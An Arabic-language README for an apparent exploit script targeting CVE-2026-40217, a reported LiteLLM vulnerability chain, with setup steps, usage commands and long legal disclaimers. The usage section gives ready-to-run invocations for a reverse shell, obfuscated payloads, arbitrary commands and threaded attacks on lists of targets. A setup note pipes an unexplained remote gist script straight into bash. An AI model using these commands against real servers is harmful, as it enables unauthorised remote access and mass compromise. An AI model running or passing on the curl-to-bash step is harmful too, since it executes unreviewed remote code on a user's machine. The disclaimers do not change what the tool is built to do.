cve-id

⚡ استخدام بسيط

استخدم هذا المشروع فقط في بيئات آمنة ومرخصة مثل:

• الأجهزة الافتراضية المحلية
• حاويات Docker
• إعدادات المختبرات المعزولة
• بيئات اختبار الاختراق المرخصة

إعداد مثال:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

مثال الاستخدام:

# Help
python cve-2026-40217.py -h

# Single target + reverse shell
python cve-2026-40217.py -t http://localhost:4000 -k "sk-..." --revshell --obfuscate 2

# Multi-target + obfuscation
python cve-2026-40217.py -f targets.txt -k "sk-..." --obfuscate 3 -c "whoami; id"

# With custom threads
python cve-2026-40217.py -f targets.txt -k "sk-..." --threads 10

ملاحظة:

• عند الاستنساخ من مشروع آخر، يجب تشغيل curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y لمسح الدليل المتداخل .git.

الإسناد أو المرجع

• https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html
• CVE-2026-40217-PoC-learner202649: https://github.com/learner202649/CVE-2026-40217-PoC

📚 مستودع أبحاث تعليمية في أمن المعلومات

مستودع للتعلم والاختبار والبحث في مفاهيم أمن المعلومات في بيئات محكومة.

⚠️ إخلاء المسؤولية القانوني والأمني

الغرض

هذا المستودع مخصص للبحث التعليمي والأمني المرخص فقط.

وهو مصمم لمساعدة المستخدمين على التعرف على:

• الثغرات الأمنية
• مفاهيم العزل والـ Sandbox
• الترميز الآمن والممارسات الدفاعية

الاستخدام المرخص فقط

استخدم هذا المستودع فقط في بيئات لديك الإذن باستخدامها، مثل:

• المختبرات الشخصية أو الأجهزة الافتراضية
• حاويات Docker أو البيئات المعزولة
• اختبار الاختراق المرخص
• التدريب في أمن المعلومات أو الأبحاث الأكاديمية

الاستخدام غير المصرح به أو غير القانوني ممنوع منعاً باتاً.

عدم تحمل المسؤولية

المؤلف والمساهمون غير مسؤولين عن أي ضرر أو سوء استخدام أو مشاكل قانونية أو خسائر ناتجة عن هذا المشروع.

باستخدامك لهذا المستودع، فإنك توافق على أن:

• أنت مسؤول عن أفعالك
• ستستخدمه بشكل قانوني وأخلاقي
• المشروع يُقدم بدون أي ضمان

الاستخدام الأخلاقي

هذا المشروع مخصص لـ:

• البحث الأمني الدفاعي
• التعليم في مجال أمن المعلومات
• التوعية بالثغرات
• البحث في الأنظمة والبرمجيات الآمنة

يرجى اتباع ممارسات الإبلاغ المسؤولة والامتثال لجميع القوانين المعمول بها.

الاتصال

للإبلاغ المسؤول أو التعاون، اتصل بمشرف المستودع عبر GitHub.